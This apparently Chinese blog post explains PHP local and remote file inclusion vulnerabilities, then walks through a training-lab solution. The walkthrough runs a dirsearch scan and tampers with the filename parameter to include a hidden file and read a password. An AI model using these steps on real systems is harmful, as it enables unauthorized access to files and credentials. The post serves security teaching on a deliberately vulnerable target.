File Inclusion(文件包含漏洞)概述
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
你可以通过“File Inclusion”对应的测试栏目,来进一步的了解该漏洞。
提示
先了解一下include()函数的用法吧
解法
引入了 include/file1.php,可能存在文件包含漏洞。
http://172.17.149.214:8765/vul/fileinclude/fi_remote.php?filename=include/file1.php&submit=提交#
访问:
http://172.17.149.214:8765/vul/fileinclude/include/file1.php
审查元素。
<div class="page-content">
<div id="fi_main">
<p class="fi_title">which NBA player do you like?</p>
<form method="get">
<select name="filename">
<option value="">--------------</option>
<option value="file1.php">Kobe bryant</option>
<option value="file2.php">Allen Iverson</option>
<option value="file3.php">Kevin Durant</option>
<option value="file4.php">Tracy McGrady</option>
<option value="file5.php">Ray Allen</option>
</select>
<input class="sub" type="submit" name="submit">
</form>
<img class="player" src="include/kobe.png">
<p class="nabname">
Kobe Bryant is one of the NBA's best scorer, breakthrough, shooting, free throws, three-pointers he chameleonic, almost no offensive blind area, single-game 81 points of personal record is powerful to prove it.In addition to crazy to points, Bryant's organizational ability is also very outstanding, often served as the first sponsors on offense.Bryant is the best form of defence in the league, one of personal defense is very oppressive.
He is a great NAB player!
</p> </div>
</div>
可以看到图片路径是 http://172.17.149.214:8765/vul/fileinclude/include。
用 dirsearch 扫描。
dirsearch -u http://172.17.149.214:8765/vul/fileinclude/include
没有找到文件,可能被拦截了。
访问:
http://172.17.149.214:8765/vul/fileinclude/fi_remote.php?filename=include%2Ffile6.php&submit=%E6%8F%90%E4%BA%A4#
找到密码。
声明
本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规。
博主坚决反对任何形式的非法黑客行为,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规,不得用于任何非法目的。对于因使用这些技术而导致的任何后果,博主不承担任何责任。